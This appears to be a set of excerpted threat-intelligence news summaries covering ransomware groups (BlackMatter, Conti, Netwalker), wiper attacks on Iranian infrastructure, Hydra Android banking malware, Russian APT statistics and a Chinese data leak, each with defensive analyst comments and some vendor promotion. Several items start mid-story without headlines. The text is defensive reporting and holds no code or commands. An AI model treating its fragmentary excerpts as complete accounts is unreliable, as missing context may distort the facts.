The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

Trending Cyber News and Threat Intelligence BlackMatter: New Data Exfiltration Tool Used in Attacks (published: November 1, 2021) Symantec researchers have discovered a custom data exfiltration tool, dubbed Exmatter, being used by the BlackMatter ransomware group. The same group has also been responsible for the Darkside ransomware - the variant that led to the May 2021 Colonial Pipeline outage. Exmatter is compiled as a .NET executable and obfuscated. This tool is designed to steal sensitive data and upload it to an attacker-controlled server prior to deployment of the ransomware as fast as possible. The speed is achieved via multiple filtering mechanisms: directory exclusion list, filetype whitelist, excluding files under 1,024 bytes, excluding files with certain attributes, and filename string exclusion list. Exmatter is being actively developed as three newer versions were found in the wild. Analyst Comment: Exmatter exfiltration tool by BlackMatter is following two custom data exfiltration tools linked to the LockBit ransomware operation. Attackers try to narrow down data sources to only those deemed most profitable or business-critical to speed up the whole exfiltration process. It makes it even more crucial for defenders to be prepared to quickly stop any detected exfiltration operation.

The attack on the fuel distribution chain in Iran forced the shutdown of a network of filling stations. The incident disabled government-issued electronic cards providing subsidies that tens of millions of Iranians use to purchase fuel at discounted prices. Jalali said the attack bore similarities to cyber strikes on Iran’s rail network and the Shahid Rajaee port. The latest attack displayed a message reading "cyberattack 64411" on gas pumps when people tried to use their subsidy cards. Similarly, in July 2021, attackers targeting Iranian railroad prompted victims to call 64411, the phone number for the office of Supreme Leader Ali Khamenei.

Trending Cyber News and Threat Intelligence Russian Cyberattacks Pose Greater Risk to Governments and Other Insights from Our Annual Report (published: October 7, 2021) Approximately 58% of all nation-state attacks observed by Microsoft between July 2020 and June 2021 have been attributed to the Russian-sponsored threat groups, specifically to Cozy Bear (APT29, Nobelium) associated with the Russian Foreign Intelligence Service (SVR). The United States, Ukraine, and the UK were the top three targeted by them. Russian Advanced Persistent Threat (APT) actors increased their effectiveness from a 21% successful compromise rate to a 32% rate comparing year to year. They achieve it by starting an attack with supply-chain compromise, utilizing effective tools such as web shells, and increasing their skills with the cloud environment targeting. Russian APTs are increasingly targeting government agencies for intelligence gathering, which jumped from 3% of their targets a year ago to 53% – largely agencies involved in foreign policy, national security, or defense. Following Russia by the number of APT cyberattacks were North Korea (23%), Iran (11%), and China (8%). Analyst Comment: As the collection of intrusions for potential disruption operations via critical infrastructure attacks became too risky for Russia, it refocused back to gaining access to and harvesting intelligence. The scale and growing effectiveness of the cyberespionage requires a defence-in-depth approach and tools such as Anomali Match that provide real-time forensics capability to identify potential breaches and known actor attributions.

The malware containing an Android application impersonates the legitimate application for Germany's largest bank, Commerzbank. While Hydra has been seen for a number of years, this new campaign incorporates many new features, including abuse of the android accessibility features and permissions which give the application the ability to stay running and hidden with basically full administrator privileges over a victim's phone. It appears to be initially spread via a website that imitates the official Commerzbank website. Once installed it can spread via bulk SMS messages to a user's contacts. Analyst Comment: Applications, particularly banking applications, should only be installed from trusted and verified sources and reviewed for suspicious permissions they request. Similarly, emails and websites should be verified before using.

Trending Cyber News and Threat Intelligence Colonial Pipeline Reports Data Breach After May Ransomware Attack (published: August 16, 2021) Colonial Pipeline, the largest fuel pipeline in the United States, is sending notification letters to 5,810 individuals affected by the data breach resulting from the DarkSide ransomware attack. During the incident, which occurred during May this year, DarkSide also stole roughly 100GB of files in about two hours. Right after the attack Colonial Pipeline took certain systems offline, temporarily halted all pipeline operations, and paid $4.4 million worth of cryptocurrency for a decryptor, most of it later recovered by the FBI. The DarkSide ransomware gang abruptly shut down their operation due to increased level of attention from governments, but later resurfaced under new name BlackMatter. Emsisoft CTO Fabian Wosar confirmed that both BlackMatter RSA and Salsa20 implementation including their usage of a custom matrix comes from DarkSide. Analyst Comment: BlackMatter (ex DarkSide) group added "Oil and Gas industry (pipelines, oil refineries)" to their non-target list, but ransomware remains a significant threat given profitability and the growing number of ransomware threat actors with various levels of recklessness. Double-extortion schemes are adding data exposure to a company's risks. Stopping ransomware affiliates requires defense in depth including: patch management, enhancing your Endpoint Detection and Response (EDR) tools with ThreatStream, the threat intelligence platform (TIP), and utilizing data loss prevention systems (DLP).

The attackers had access to the targeted networks for a month and then deployed a previously unseen file wiper called Meteor effectively disrupting train service throughout the country. Previous versions of the Indra wiper named Stardust and Comet were seen in Syria, where Indra was attacking oil, airline, and financial sectors at least since 2019. Analyst Comment: It is concerning that even non-government threat actors can damage a critical infrastructure in a large country. Similar to ransomware protection, with regards to wiper attacks organizations should improve their intrusion detection methods and have a resilient backup system.

Trending Cyber News and Threat Intelligence China’s ‘Hybrid War’: Beijing’s Mass Surveillance of Australia and the World for Secrets and Scandal (published: September 14, 2020) A database containing 2.4 million people has been leaked from a Shenzhen company, Zhenhua Data, believed to have ties to the Chinese intelligence service. The database contains personal information on over 35,000 Australians and prominent figures, and 52,000 Americans. This includes addresses, bank information, birth dates, criminal records, job applications, psychological profiles, and social media. Politicians, lawyers, journalists, military officers, media figures, and Natalie Imbruglia are among the records of Australians contained in the database. While a lot of the information is public, there is also non-public information contributing to claims that China is developing a mass surveillance system. Recommendation: Users should always remain vigilant about the information they are putting out into the public, and avoid posting personal or sensitive information online. Tags: China, spying US Criminal Court Hit by Conti Ransomware; Critical Data at Risk (published: September 11, 2020) The Fourth District Court of Louisiana, part of the US criminal court system, appears to have become the latest victim of the Conti ransomware. The court's website was attacked and used to steal numerous court documents related to defendants, jurors, and witnesses, and then install the Conti ransomware. Evidence of the data theft was posted to the dark web. Analysis of the malware by Emsisoft’s threat analyst, Brett Callow, indicates that the ransomware deployed in the attack was Conti, which has code similarity to another ransomware strain, Ryuk. The Conti group, believed to be behind this ransomware as a service, is sophisticated and due to the fact that they receive a large portion of the ransoms paid, they are motivated to avoid detections and continue to develop advanced attacking tools. This attack also used the Trickbot malware in its exploit chain, similar to that used by Ryuk campaigns. Recommendation: Defense in Depth, including vulnerability remediation and scanning, monitoring, endpoint protection, backups, etc. is key to thwarting increasingly sophisticated attacks. Ransomware attacks are particularly attractive to attackers due to the fact that each successful ransomware attack allows for multiple streams of income. The attackers can not only extort a ransom to decrypt the victim's files (especially in cases where the victim finds they do not have appropriate disaster recovery plans), but they can also monetize the exfiltrated data directly and/or use the data to aid in future attacks. This technique is increasingly used in supply chain compromises to build difficult to detect spearphishing attacks.

After receiving many tech support calls, the computer networks were shut down to prevent further spread of the ransomware, which led to a cecission in border crossings until systems were up again. The ransomware used in this attack is Netwalker ransomware, that left a ransom note demanding initalling $2 million, however when this wasn’t paid in the first week, the ransom increased to $4 million. Recommendation: Ransomware can potentially be blocked by using endpoint protection solutions (HIDS). Always keep your important files backed up following the 3-2-1 rule: have at least 3 different copies, on 2 different mediums, with 1 off-site. In the case of ransomware infection, the affected system must be wiped and reformatted. Other devices on the network should be checked for similar infections. Always check for a decryptor before considering payment; avoid payment at all costs. Ransomware should be reported to law enforcement agencies who are doing their best to track these actors and prevent ransom from being a profitable business for cyber criminals.
